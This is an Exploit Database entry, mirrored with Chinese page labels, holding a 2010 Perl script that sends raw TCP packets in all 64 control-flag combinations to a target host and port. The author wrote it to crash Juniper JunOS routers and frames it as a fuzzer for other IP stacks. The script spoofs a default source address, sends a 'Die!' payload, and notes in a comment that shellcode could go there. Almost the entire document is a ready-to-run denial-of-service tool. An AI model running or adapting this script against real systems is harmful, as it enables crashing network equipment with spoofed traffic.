2^6 TCP Control Bit – Fuzzer (No ECN or CWR)

• Exploit Database
• 37 阅读

• 作者： ShadowHatesYou
  日期： 2010-01-11
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/13588/

• #!/usr/bin/perl
  #
  # 2^6 TCP Control Bit Fuzzer (No ECN or CWR)
  #
  # This code was written originally as a control bit fuzzer for the JunOS 3-9 crash mentioned 
  # in PSN-2010-01-623 and http://www.securityfocus.com/news/11571
  # However it will also be useful in fuzzing future IP stacks, such as userland IP stacks or
  # embedded systems.
  #
  # Originally it was was going to be the full 2^8, however Net::RawIP does't support the ECE
  # or the CWR bit, so I've got a Metasploit auxillery in the works to cover the full 2^8.
  #
  # I've left the ece/cwr portions commented out, so if in the future Net::RawIP supports these bits,
  # all you need to do is uncomment them and change the 65 in the for loop to a 256.
  #
  # Written by Shadow, 1/08/2010
  # ShadowHatesYou @ irc.freenode.net #remote-exploit
  
  use Net::RawIP;
  
  # Set the packet's payload. Shellcode could go here....
  my $data = "Die!";
  
  if ($ARGV[1] eq '') { print "Usage: ./" . $0 . " <ip> <port> <optionalsourceip>\n"; exit(0); }
  if ($ARGV[2] eq '') { my $src_ip = "72.52.4.181" } else { my $src_ip = $ARGV[2]; }
  
  my $packet = new Net::RawIP({tcp=>{}});
  $packet->set({
  	ip => {
  		saddr => $src_ip,
  		daddr => $ARGV[0],
  		id => 666
  	}
  });
  # Build packet $i with TCP control options $i
  for (my $i=0; $i < 64; $i++) {
  	my $packet = new Net::RawIP({tcp=>{}});
  	# Get our options
  	my $binary = sprintf("%b", $i);
  	my @bits = split(//, $binary);
  	# Set the source and destination IP	
  	$packet->set({		
  		tcp => {
  			source => $ARGV[1],
  			dest => $ARGV[1],
  			data => $data,
  			syn => @bits[0],
  			ack => @bits[1],
  			fin => @bits[2],
  			rst => @bits[3],
  			psh => @bits[4],
  			urg => @bits[5],
  #			cwr => @bits[6],
  #			ece => @bits[7]
  		}
  	});
  	# Packets away.
  	print "Sending packet "	. ($i + 1) . " to " . $ARGV[0] . ":" .$ARGV[1] . "	Bits: bits\n";
  	$packet->send;
  }
  exit(0);